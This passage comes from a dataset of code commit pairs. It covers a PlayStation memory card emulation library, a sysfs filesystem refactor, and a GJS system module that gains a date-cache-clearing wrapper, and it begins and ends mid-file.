9;\n\t\t\t\tdir++;\n\t\t\t\tfiles[0]++;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tmemoryCardStatus = -1;\/\/?\n\n\treturn 0;\n}\n<commit_msg>Improve MEMCARD emulation.<commit_after>#include \"LIBMCRD.H\"\n#include \"LIBETC.H\"\n\n#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n\n#define MC_HEADER_FRAME_INDEX (0)\n\nint bIsInitialised = 0;\nint bCanUseMemoryCardFuncs = 0;\nint memoryCardStatus = -1;\n\nFILE* memoryCards[2];\nint memoryCardsNew[2];\n\nlong memoryCardCmds = -1;\nlong memoryCardResult = -1;\n\nvoid MemCardInit(long val)\n{\n\tbIsInitialised = 1;\n\tbCanUseMemoryCardFuncs = 0;\n\tmemoryCardStatus = -1;\n\tmemoryCardCmds = -1;\n\tmemoryCardResult = -1;\n\tmemoryCardsNew[0] = 1;\n\tmemoryCardsNew[1] = 1;\n}\n\nvoid MemCardEnd()\n{\n\tif (!bCanUseMemoryCardFuncs)\n\t\treturn;\n\n}\n\nvoid MemCardStart()\n{\n\tbCanUseMemoryCardFuncs = 1;\n}\n\nvoid MemCardStop()\n{\n\tif (!bCanUseMemoryCardFuncs)\n\t\treturn;\n\n\tbCanUseMemoryCardFuncs = 0;\n\tmemoryCardStatus = -1;\n\tmemoryCardCmds = -1;\n\tmemoryCardResult = -1;\n\tmemoryCardsNew[0] = 1;\n\tmemoryCardsNew[1] = 1;\n\n\tif (memoryCards[0] != NULL)\n\t{\n\t\tfclose(memoryCards[0]);\n\t}\n\n\tif (memoryCards[1] != NULL)\n\t{\n\t\tfclose(memoryCards[1]);\n\t}\n}\n\nlong MemCardExist(long chan)\n{\n\tif (!bCanUseMemoryCardFuncs)\n\t\treturn 0;\n\n\tchar buf[16];\n\tsprintf(&buf[0], \"%d.MCD\", chan);\n\tmemoryCards[chan] = fopen(&buf[0], \"rb\");\n\n\tmemoryCardCmds = McFuncExist;\n\n\tif (memoryCards[chan] == NULL)\n\t{\n\t\tmemoryCardStatus = -1;\/\/CHECKME\n\t\tmemoryCardResult = McErrCardNotExist;\/\/CHECKME\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\tfclose(memoryCards[chan]);\n\n\t\tif (memoryCardResult == McErrNewCard)\n\t\t{\n\t\t\tmemoryCardResult = McErrNone;\n\t\t\tmemoryCardStatus = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tmemoryCardResult = McErrNewCard;\n\t\t\tmemoryCardStatus = 1;\n\t\t}\n\t}\n\n\t\n\treturn 1;\n}\n\nlong MemCardAccept(long chan)\n{\n\tif (!bCanUseMemoryCardFuncs)\n\t\treturn 0;\n\n\tchar buf[16];\n\tsprintf(&buf[0], \"%d.MCD\", chan);\n\tmemoryCards[chan] = fopen(&buf[0], \"rb\");\n\tmemoryCardCmds = McFuncAccept;\n\n\tunsigned int fileMagic = 0;\n\tfread(&fileMagic, 4, 1, memoryCards[chan]);\n\n\t\/\/Is this card formatted?\n\tif (fileMagic != 0x0000434D)\n\t{\n\t\t\/\/If not, this is a new card!\n\t\tmemoryCardResult = McErrNewCard;\n\t\tmemoryCardsNew[chan] = 0;\n\t\treturn 0;\n\t}\n\n\tmemoryCardResult = 3;\n\tmemoryCardStatus = 1;\n\treturn 1;\n}\nlong MemCardOpen(long chan, char* file, long flag)\n{\n\t\n\treturn 0;\n}\n\nvoid MemCardClose()\n{\n\t\n}\n\nlong MemCardReadData(unsigned long* adrs, long ofs, long bytes)\n{\n\tmemoryCardCmds = McFuncReadData;\n\treturn 0;\n}\n\nlong MemCardReadFile(long chan, char* file, unsigned long* adrs, long ofs, long bytes)\n{\n\tmemoryCardCmds = McFuncReadFile;\n\treturn 0;\n}\n\nlong MemCardWriteData(unsigned long* adrs, long ofs, long bytes)\n{\n\tmemoryCardCmds = McFuncWriteData;\n\treturn 0;\n}\n\nlong MemCardWriteFile(long chan, char* file, unsigned long* adrs, long ofs, long bytes)\n{\n\tmemoryCardCmds = McFuncWriteFile;\n\n\treturn 0;\n}\n\nlong MemCardCreateFile(long chan, char* file, long blocks)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardDeleteFile(long chan, char* file)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardFormat(long chan)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardUnformat(long chan)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardSync(long mode, long* cmds, long* rslt)\n{\n\tif (mode == 1)\n\t{\n\t\tif (memoryCardCmds != -1)\n\t\t{\n\t\t\t*cmds = memoryCardCmds;\n\t\t}\n\n\t\tif (memoryCardResult != -1)\n\t\t{\n\t\t\t*rslt = memoryCardResult;\n\t\t}\n\n\t\treturn memoryCardStatus;\n\t}\n\n\treturn 0;\n}\n\nMemCB MemCardCallback(MemCB func)\n{\n\t\n\treturn 0;\n}\n\nlong MemCardGetDirentry(long chan, char* name, struct DIRENTRY* dir, long* files, long ofs, long max)\n{\n\n#pragma pack(push,1)\n\tstruct MemoryCardFrame\n\t{\n\t\tunsigned int attr;\n\t\tunsigned int size;\n\t\tunsigned short unknown;\n\t\tchar name[20];\n\t\tchar padding[98];\n\t};\n#pragma pack(pop)\n\t\/\/Read all\n\tfseek(memoryCards[chan], 0, SEEK_SET);\n\n\tif (strcmp(name, \"*\") == 0)\n\t{\n\t\tfor (int i = 0, head = -64; i < 16; i++, head += 128)\n\t\t{\n\t\t\tMemoryCardFrame frame;\n\t\t\tfread(&frame, sizeof(MemoryCardFrame), 1, memoryCards[chan]);\n\n\t\t\tif (i > MC_HEADER_FRAME_INDEX && frame.name[0] != '\\0')\n\t\t\t{\n\t\t\t\tmemcpy(dir->name, &frame.name, 20);\n\t\t\t\tdir->attr = frame.attr & 0xF0;\n\t\t\t\tdir->size = frame.size;\n\t\t\t\tdir->next = (struct DIRENTRY*)9;\n\t\t\t\tdir->head = head;\n\t\t\t\tdir->system[0] = 9;\n\t\t\t\tdir++;\n\t\t\t\tfiles[0]++;\n\t\t\t}\n\t\t}\n\t}\n\tmemoryCardCmds = McFuncExist;\n\tmemoryCardResult = 0;\n\tmemoryCardStatus = 1;\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixups<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013-2014.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <types.hpp>\n#include <unique_ptr.hpp>\n#include <algorithms.hpp>\n#include <errors.hpp>\n\n#include \"fs\/sysfs.hpp\"\n\n#include \"console.hpp\"\n#include \"rtc.hpp\"\n\nnamespace {\n\nstruct sys_value {\n    std::string name;\n    std::string value;\n\n    sys_value(){}\n    sys_value(std::string name, std::string value) : name(name), value(value){\n        \/\/Nothing else to init\n    }\n};\n\nstruct sys_folder {\n    std::string name;\n    std::vector<sys_folder> folders;\n    std::vector<sys_value> values;\n\n    sys_folder(){}\n\n    sys_folder(std::string name) : name(name) {\n        \/\/Nothing else to init\n    }\n};\n\nstd::vector<sys_folder> root_folders;\n\nsys_folder& find_root_folder(const std::string& mount_point){\n    for(auto& sys_folder : root_folders){\n        if(sys_folder.name == mount_point){\n            return sys_folder;\n        }\n    }\n\n    root_folders.emplace_back(mount_point);\n\n    return root_folders.back();\n}\n\nsys_folder& find_folder(sys_folder& root, const std::vector<std::string>& path, size_t i, size_t last){\n    auto& name = path[i];\n\n    for(auto& folder : root.folders){\n        if(folder.name == name){\n            if(i == last - 1){\n                return folder;\n            } else {\n                return find_folder(folder, path, i + 1, last);\n            }\n        }\n    }\n\n    root.folders.emplace_back(name);\n\n    if(i == last - 1){\n        return root.folders.back();\n    } else {\n        return find_folder(root.folders.back(), path, i + 1, last);\n    }\n}\n\nbool exists_folder(sys_folder& root, const std::vector<std::string>& path, size_t i, size_t last){\n    auto& name = path[i];\n\n    for(auto& folder : root.folders){\n        if(folder.name == name){\n            if(i == last - 1){\n                return true;\n            } else {\n                return exists_folder(folder, path, i + 1, last);\n            }\n        }\n    }\n\n    return false;\n}\n\n} \/\/end of anonymous namespace\n\nsysfs::sysfs_file_system::sysfs_file_system(std::string mp) : mount_point(mp) {\n    \/\/Nothing to init\n}\n\nsysfs::sysfs_file_system::~sysfs_file_system(){\n    \/\/Nothing to delete\n}\n\nsize_t sysfs::sysfs_file_system::get_file(const std::vector<std::string>& file_path, vfs::file& f){\n    auto& root_folder = find_root_folder(mount_point);\n\n    if(exists_folder(root_folder, file_path, 0, file_path.size() - 1)){\n        auto& folder = find_folder(root_folder, file_path, 0, file_path.size() - 1);\n\n        for(auto& file : folder.folders){\n            if(file.name == file_path.back()){\n                f.file_name = file.name;\n                f.directory = true;\n                f.hidden = false;\n                f.system = false;\n                f.size = 0;\n\n                return 0;\n            }\n        }\n\n        for(auto& file : folder.values){\n            if(file.name == file_path.back()){\n                f.file_name = file.name;\n                f.directory = false;\n                f.hidden = false;\n                f.system = false;\n                f.size = 0;\n\n                return 0;\n            }\n        }\n    }\n\n    return std::ERROR_NOT_EXISTS;\n}\n\nsize_t sysfs::sysfs_file_system::read(const std::vector<std::string>& file_path, std::string& content){\n    auto& root_folder = find_root_folder(mount_point);\n\n    if(exists_folder(root_folder, file_path, 0, file_path.size() - 1)){\n        auto& folder = find_folder(root_folder, file_path, 0, file_path.size() - 1);\n\n        for(auto& file : folder.values){\n            if(file.name == file_path.back()){\n                content = file.value;\n                return 0;\n            }\n        }\n\n        for(auto& file : folder.folders){\n            if(file.name == file_path.back()){\n                return std::ERROR_DIRECTORY;\n            }\n        }\n    }\n\n    return std::ERROR_NOT_EXISTS;\n}\n\nsize_t sysfs::sysfs_file_system::ls(const std::vector<std::string>& file_path, std::vector<vfs::file>& contents){\n    auto& root_folder = find_root_folder(mount_point);\n\n    if(exists_folder(root_folder, file_path, 0, file_path.size() - 1)){\n        auto& folder = find_folder(root_folder, file_path, 0, file_path.size() - 1);\n\n        for(auto& file : folder.folders){\n            vfs::file f;\n            f.file_name = file.name;\n            f.directory = true;\n            f.hidden = false;\n            f.system = false;\n            f.size = 0;\n            contents.push_back(f);\n        }\n\n        for(auto& file : folder.values){\n            vfs::file f;\n            f.file_name = file.name;\n            f.directory = false;\n            f.hidden = false;\n            f.system = false;\n            f.size = 0;\n            contents.push_back(f);\n        }\n\n        return 0;\n    } else {\n        return std::ERROR_NOT_EXISTS;\n    }\n}\n\nsize_t sysfs::sysfs_file_system::touch(const std::vector<std::string>& ){\n    return std::ERROR_PERMISSION_DENIED;\n}\n\nsize_t sysfs::sysfs_file_system::mkdir(const std::vector<std::string>& ){\n    return std::ERROR_PERMISSION_DENIED;\n}\n\nsize_t sysfs::sysfs_file_system::rm(const std::vector<std::string>& ){\n    return std::ERROR_PERMISSION_DENIED;\n}\n\nsize_t sysfs::sysfs_file_system::statfs(statfs_info& file){\n    file.total_size = 0;\n    file.free_size = 0;\n\n    return 0;\n}\n\nvoid set_value(const std::string& mount_point, const std::string& path, const std::string& value){\n    auto& root_folder = find_root_folder(mount_point);\n\n    auto file_path = std::split(path, '\/');\n    auto last = file_path.back();\n    file_path.pop_back();\n\n    auto& folder = find_folder(root_folder, file_path, 0, file_path.size());\n\n    for(auto& v : folder.values){\n        if(v.name == last){\n            v.value = value;\n            return;\n        }\n    }\n\n    folder.values.emplace_back(last, value);\n}\n\nvoid delete_value(const std::string& mount_point, const std::string& path){\n    auto& root_folder = find_root_folder(mount_point);\n\n    auto file_path = std::split(path, '\/');\n    auto last = file_path.back();\n    file_path.pop_back();\n\n    auto& folder = find_folder(root_folder, file_path, 0, file_path.size());\n\n    for(size_t i = 0; i < folder.values.size(); ++i){\n        auto& v = folder.values[i];\n\n        if(v.name == last){\n            folder.values.erase(i);\n            break;\n        }\n    }\n}\n\nvoid delete_folder(const std::string& mount_point, const std::string& path){\n    auto& root_folder = find_root_folder(mount_point);\n\n    auto file_path = std::split(path, '\/');\n    auto last = file_path.back();\n    file_path.pop_back();\n\n    auto& folder = find_folder(root_folder, file_path, 0, file_path.size());\n\n    for(size_t i = 0; i < folder.folders.size(); ++i){\n        auto& v = folder.folders[i];\n\n        if(v.name == last){\n            folder.folders.erase(i);\n            break;\n        }\n    }\n}\n<commit_msg>Finish implementation of sysfs<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013-2014.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <types.hpp>\n#include <unique_ptr.hpp>\n#include <algorithms.hpp>\n#include <errors.hpp>\n\n#include \"fs\/sysfs.hpp\"\n\n#include \"console.hpp\"\n#include \"rtc.hpp\"\n\nnamespace {\n\nstruct sys_value {\n    std::string name;\n    std::string value;\n\n    sys_value(){}\n    sys_value(std::string name, std::string value) : name(name), value(value){\n        \/\/Nothing else to init\n    }\n};\n\nstruct sys_folder {\n    std::string name;\n    std::vector<sys_folder> folders;\n    std::vector<sys_value> values;\n\n    sys_folder(){}\n\n    sys_folder(std::string name) : name(name) {\n        \/\/Nothing else to init\n    }\n};\n\nstd::vector<sys_folder> root_folders;\n\nsys_folder& find_root_folder(const std::string& mount_point){\n    for(auto& sys_folder : root_folders){\n        if(sys_folder.name == mount_point){\n            return sys_folder;\n        }\n    }\n\n    root_folders.emplace_back(mount_point);\n\n    return root_folders.back();\n}\n\nsys_folder& find_folder(sys_folder& root, const std::vector<std::string>& path, size_t i, size_t last){\n    auto& name = path[i];\n\n    for(auto& folder : root.folders){\n        if(folder.name == name){\n            if(i == last - 1){\n                return folder;\n            } else {\n                return find_folder(folder, path, i + 1, last);\n            }\n        }\n    }\n\n    root.folders.emplace_back(name);\n\n    if(i == last - 1){\n        return root.folders.back();\n    } else {\n        return find_folder(root.folders.back(), path, i + 1, last);\n    }\n}\n\nbool exists_folder(sys_folder& root, const std::vector<std::string>& path, size_t i, size_t last){\n    auto& name = path[i];\n\n    for(auto& folder : root.folders){\n        if(folder.name == name){\n            if(i == last - 1){\n                return true;\n            } else {\n                return exists_folder(folder, path, i + 1, last);\n            }\n        }\n    }\n\n    return false;\n}\n\nsize_t get_file(const sys_folder& folder, const std::vector<std::string>& file_path, vfs::file& f){\n    for(auto& file : folder.folders){\n        if(file.name == file_path.back()){\n            f.file_name = file.name;\n            f.directory = true;\n            f.hidden = false;\n            f.system = false;\n            f.size = 0;\n\n            return 0;\n        }\n    }\n\n    for(auto& file : folder.values){\n        if(file.name == file_path.back()){\n            f.file_name = file.name;\n            f.directory = false;\n            f.hidden = false;\n            f.system = false;\n            f.size = 0;\n\n            return 0;\n        }\n    }\n\n    return std::ERROR_NOT_EXISTS;\n}\n\nsize_t ls(const sys_folder& folder, std::vector<vfs::file>& contents){\n    for(auto& file : folder.folders){\n        vfs::file f;\n        f.file_name = file.name;\n        f.directory = true;\n        f.hidden = false;\n        f.system = false;\n        f.size = 0;\n        contents.push_back(f);\n    }\n\n    for(auto& file : folder.values){\n        vfs::file f;\n        f.file_name = file.name;\n        f.directory = false;\n        f.hidden = false;\n        f.system = false;\n        f.size = 0;\n        contents.push_back(f);\n    }\n\n    return 0;\n}\n\nsize_t read(const sys_folder& folder, const std::vector<std::string>& file_path, std::string& content){\n    for(auto& file : folder.values){\n        if(file.name == file_path.back()){\n            content = file.value;\n            return 0;\n        }\n    }\n\n    for(auto& file : folder.folders){\n        if(file.name == file_path.back()){\n            return std::ERROR_DIRECTORY;\n        }\n    }\n\n    return std::ERROR_NOT_EXISTS;\n}\n\n} \/\/end of anonymous namespace\n\nsysfs::sysfs_file_system::sysfs_file_system(std::string mp) : mount_point(mp) {\n    \/\/Nothing to init\n}\n\nsysfs::sysfs_file_system::~sysfs_file_system(){\n    \/\/Nothing to delete\n}\n\nsize_t sysfs::sysfs_file_system::get_file(const std::vector<std::string>& file_path, vfs::file& f){\n    auto& root_folder = find_root_folder(mount_point);\n\n    if(file_path.empty()){\n        f.file_name = \"\/\";\n        f.directory = true;\n        f.hidden = false;\n        f.system = false;\n        f.size = 0;\n\n        return 0;\n    } else if(file_path.size() == 1){\n        return ::get_file(root_folder, file_path, f);\n    } else {\n        if(exists_folder(root_folder, file_path, 0, file_path.size() - 1)){\n            auto& folder = find_folder(root_folder, file_path, 0, file_path.size() - 1);\n\n            return ::get_file(folder, file_path, f);\n        }\n\n        return std::ERROR_NOT_EXISTS;\n    }\n}\n\nsize_t sysfs::sysfs_file_system::read(const std::vector<std::string>& file_path, std::string& content){\n    auto& root_folder = find_root_folder(mount_point);\n\n    if(file_path.empty()){\n        return std::ERROR_DIRECTORY;\n    } else if(file_path.size() == 1){\n        return ::read(root_folder, file_path, content);\n    } else {\n        if(exists_folder(root_folder, file_path, 0, file_path.size() - 1)){\n            auto& folder = find_folder(root_folder, file_path, 0, file_path.size() - 1);\n\n            return ::read(folder, file_path, content);\n        }\n\n        return std::ERROR_NOT_EXISTS;\n    }\n}\n\nsize_t sysfs::sysfs_file_system::ls(const std::vector<std::string>& file_path, std::vector<vfs::file>& contents){\n    auto& root_folder = find_root_folder(mount_point);\n\n    if(file_path.empty()){\n        return ::ls(root_folder, contents);\n    } else {\n        if(exists_folder(root_folder, file_path, 0, file_path.size())){\n            auto& folder = find_folder(root_folder, file_path, 0, file_path.size());\n\n            return ::ls(folder, contents);\n        }\n\n        return std::ERROR_NOT_EXISTS;\n    }\n}\n\nsize_t sysfs::sysfs_file_system::touch(const std::vector<std::string>& ){\n    return std::ERROR_PERMISSION_DENIED;\n}\n\nsize_t sysfs::sysfs_file_system::mkdir(const std::vector<std::string>& ){\n    return std::ERROR_PERMISSION_DENIED;\n}\n\nsize_t sysfs::sysfs_file_system::rm(const std::vector<std::string>& ){\n    return std::ERROR_PERMISSION_DENIED;\n}\n\nsize_t sysfs::sysfs_file_system::statfs(statfs_info& file){\n    file.total_size = 0;\n    file.free_size = 0;\n\n    return 0;\n}\n\nvoid set_value(const std::string& mount_point, const std::string& path, const std::string& value){\n    auto& root_folder = find_root_folder(mount_point);\n\n    auto file_path = std::split(path, '\/');\n    auto last = file_path.back();\n    file_path.pop_back();\n\n    auto& folder = find_folder(root_folder, file_path, 0, file_path.size());\n\n    for(auto& v : folder.values){\n        if(v.name == last){\n            v.value = value;\n            return;\n        }\n    }\n\n    folder.values.emplace_back(last, value);\n}\n\nvoid delete_value(const std::string& mount_point, const std::string& path){\n    auto& root_folder = find_root_folder(mount_point);\n\n    auto file_path = std::split(path, '\/');\n    auto last = file_path.back();\n    file_path.pop_back();\n\n    auto& folder = find_folder(root_folder, file_path, 0, file_path.size());\n\n    for(size_t i = 0; i < folder.values.size(); ++i){\n        auto& v = folder.values[i];\n\n        if(v.name == last){\n            folder.values.erase(i);\n            break;\n        }\n    }\n}\n\nvoid delete_folder(const std::string& mount_point, const std::string& path){\n    auto& root_folder = find_root_folder(mount_point);\n\n    auto file_path = std::split(path, '\/');\n    auto last = file_path.back();\n    file_path.pop_back();\n\n    auto& folder = find_folder(root_folder, file_path, 0, file_path.size());\n\n    for(size_t i = 0; i < folder.folders.size(); ++i){\n        auto& v = folder.folders[i];\n\n        if(v.name == last){\n            folder.folders.erase(i);\n            break;\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- mode: C; c-basic-offset: 4; indent-tabs-mode: nil; -*- *\/\n\/*\n * Copyright (c) 2008  litl, LLC\n * Copyright (c) 2012  Red Hat, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include <config.h>\n\n#include <sys\/types.h>\n#include <unistd.h>\n\n#include <gjs\/gjs-module.h>\n#include <gi\/object.h>\n#include \"system.h\"\n\nstatic JSBool\ngjs_address_of(JSContext *context,\n               unsigned   argc,\n               jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    JSObject *target_obj;\n    JSBool ret;\n    char *pointer_string;\n    jsval retval;\n\n    if (!gjs_parse_args(context, \"addressOf\", \"o\", argc, argv, \"object\", &target_obj))\n        return JS_FALSE;\n\n    pointer_string = g_strdup_printf(\"%p\", target_obj);\n\n    ret = gjs_string_from_utf8(context, pointer_string, -1, &retval);\n    g_free(pointer_string);\n\n    if (ret)\n        JS_SET_RVAL(context, vp, retval);\n\n    return ret;\n}\n\nstatic JSBool\ngjs_refcount(JSContext *context,\n             unsigned   argc,\n             jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    jsval retval;\n    JSObject *target_obj;\n    GObject *obj;\n\n    if (!gjs_parse_args(context, \"refcount\", \"o\", argc, argv, \"object\", &target_obj))\n        return JS_FALSE;\n\n    if (!gjs_typecheck_object(context, target_obj,\n                              G_TYPE_OBJECT, JS_TRUE))\n        return JS_FALSE;\n\n    obj = gjs_g_object_from_object(context, target_obj);\n    if (obj == NULL)\n        return JS_FALSE;\n\n    retval = INT_TO_JSVAL(obj->ref_count);\n    JS_SET_RVAL(context, vp, retval);\n    return JS_TRUE;\n}\n\nstatic JSBool\ngjs_breakpoint(JSContext *context,\n               unsigned   argc,\n               jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    if (!gjs_parse_args(context, \"breakpoint\", \"\", argc, argv))\n        return JS_FALSE;\n    G_BREAKPOINT();\n    JS_SET_RVAL(context, vp, JSVAL_VOID);\n    return JS_TRUE;\n}\n\nstatic JSBool\ngjs_gc(JSContext *context,\n       unsigned   argc,\n       jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    if (!gjs_parse_args(context, \"gc\", \"\", argc, argv))\n        return JS_FALSE;\n    JS_GC(JS_GetRuntime(context));\n    JS_SET_RVAL(context, vp, JSVAL_VOID);\n    return JS_TRUE;\n}\n\nstatic JSBool\ngjs_exit(JSContext *context,\n         unsigned   argc,\n         jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    gint32 ecode;\n    if (!gjs_parse_args(context, \"exit\", \"i\", argc, argv, \"ecode\", &ecode))\n        return JS_FALSE;\n    exit(ecode);\n    return JS_TRUE;\n}\n\nstatic JSFunctionSpec module_funcs[] = {\n    { \"addressOf\", JSOP_WRAPPER (gjs_address_of), 1, GJS_MODULE_PROP_FLAGS },\n    { \"refcount\", JSOP_WRAPPER (gjs_refcount), 1, GJS_MODULE_PROP_FLAGS },\n    { \"breakpoint\", JSOP_WRAPPER (gjs_breakpoint), 0, GJS_MODULE_PROP_FLAGS },\n    { \"gc\", JSOP_WRAPPER (gjs_gc), 0, GJS_MODULE_PROP_FLAGS },\n    { \"exit\", JSOP_WRAPPER (gjs_exit), 0, GJS_MODULE_PROP_FLAGS },\n    { NULL },\n};\n\nJSBool\ngjs_js_define_system_stuff(JSContext  *context,\n                           JSObject  **module_out)\n{\n    GjsContext *gjs_context;\n    char *program_name;\n    jsval value;\n    JSBool retval;\n    JSObject *module;\n\n    module = JS_NewObject (context, NULL, NULL, NULL);\n\n    if (!JS_DefineFunctions(context, module, &module_funcs[0]))\n        return JS_FALSE;\n\n    retval = JS_FALSE;\n\n    gjs_context = (GjsContext*) JS_GetContextPrivate(context);\n    g_object_get(gjs_context,\n                 \"program-name\", &program_name,\n                 NULL);\n\n    if (!gjs_string_from_utf8(context, program_name,\n                              -1, &value))\n        goto out;\n\n    \/* The name is modeled after program_invocation_name,\n       part of the glibc *\/\n    if (!JS_DefineProperty(context, module,\n                           \"programInvocationName\",\n                           value,\n                           JS_PropertyStub,\n                           JS_StrictPropertyStub,\n                           GJS_MODULE_PROP_FLAGS | JSPROP_READONLY))\n        goto out;\n\n    if (!JS_DefineProperty(context, module,\n                           \"version\",\n                           INT_TO_JSVAL(GJS_VERSION),\n                           JS_PropertyStub,\n                           JS_StrictPropertyStub,\n                           GJS_MODULE_PROP_FLAGS | JSPROP_READONLY))\n        goto out;\n\n    retval = JS_TRUE;\n\n out:\n    g_free(program_name);\n    *module_out = module;\n\n    return retval;\n}\n<commit_msg>system: Add wrapper for JS_ClearDateCaches<commit_after>\/* -*- mode: C; c-basic-offset: 4; indent-tabs-mode: nil; -*- *\/\n\/*\n * Copyright (c) 2008  litl, LLC\n * Copyright (c) 2012  Red Hat, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include <config.h>\n\n#include <sys\/types.h>\n#include <unistd.h>\n#include <time.h>\n\n#include <gjs\/gjs-module.h>\n#include <gi\/object.h>\n#include \"system.h\"\n\nstatic JSBool\ngjs_address_of(JSContext *context,\n               unsigned   argc,\n               jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    JSObject *target_obj;\n    JSBool ret;\n    char *pointer_string;\n    jsval retval;\n\n    if (!gjs_parse_args(context, \"addressOf\", \"o\", argc, argv, \"object\", &target_obj))\n        return JS_FALSE;\n\n    pointer_string = g_strdup_printf(\"%p\", target_obj);\n\n    ret = gjs_string_from_utf8(context, pointer_string, -1, &retval);\n    g_free(pointer_string);\n\n    if (ret)\n        JS_SET_RVAL(context, vp, retval);\n\n    return ret;\n}\n\nstatic JSBool\ngjs_refcount(JSContext *context,\n             unsigned   argc,\n             jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    jsval retval;\n    JSObject *target_obj;\n    GObject *obj;\n\n    if (!gjs_parse_args(context, \"refcount\", \"o\", argc, argv, \"object\", &target_obj))\n        return JS_FALSE;\n\n    if (!gjs_typecheck_object(context, target_obj,\n                              G_TYPE_OBJECT, JS_TRUE))\n        return JS_FALSE;\n\n    obj = gjs_g_object_from_object(context, target_obj);\n    if (obj == NULL)\n        return JS_FALSE;\n\n    retval = INT_TO_JSVAL(obj->ref_count);\n    JS_SET_RVAL(context, vp, retval);\n    return JS_TRUE;\n}\n\nstatic JSBool\ngjs_breakpoint(JSContext *context,\n               unsigned   argc,\n               jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    if (!gjs_parse_args(context, \"breakpoint\", \"\", argc, argv))\n        return JS_FALSE;\n    G_BREAKPOINT();\n    JS_SET_RVAL(context, vp, JSVAL_VOID);\n    return JS_TRUE;\n}\n\nstatic JSBool\ngjs_gc(JSContext *context,\n       unsigned   argc,\n       jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    if (!gjs_parse_args(context, \"gc\", \"\", argc, argv))\n        return JS_FALSE;\n    JS_GC(JS_GetRuntime(context));\n    JS_SET_RVAL(context, vp, JSVAL_VOID);\n    return JS_TRUE;\n}\n\nstatic JSBool\ngjs_exit(JSContext *context,\n         unsigned   argc,\n         jsval     *vp)\n{\n    jsval *argv = JS_ARGV(cx, vp);\n    gint32 ecode;\n    if (!gjs_parse_args(context, \"exit\", \"i\", argc, argv, \"ecode\", &ecode))\n        return JS_FALSE;\n    exit(ecode);\n    return JS_TRUE;\n}\n\nstatic JSBool\ngjs_clear_date_caches(JSContext *context,\n             unsigned   argc,\n             jsval     *vp)\n{\n    JS_BeginRequest(context);\n\n    \/\/ Workaround for a bug in SpiderMonkey where tzset is not called before\n    \/\/ localtime_r, see https:\/\/bugzilla.mozilla.org\/show_bug.cgi?id=1004706\n    tzset();\n\n    JS_ClearDateCaches(context);\n    JS_EndRequest(context);\n\n    JS_SET_RVAL(context, vp, JSVAL_VOID);\n    return JS_TRUE;\n}\n\nstatic JSFunctionSpec module_funcs[] = {\n    { \"addressOf\", JSOP_WRAPPER (gjs_address_of), 1, GJS_MODULE_PROP_FLAGS },\n    { \"refcount\", JSOP_WRAPPER (gjs_refcount), 1, GJS_MODULE_PROP_FLAGS },\n    { \"breakpoint\", JSOP_WRAPPER 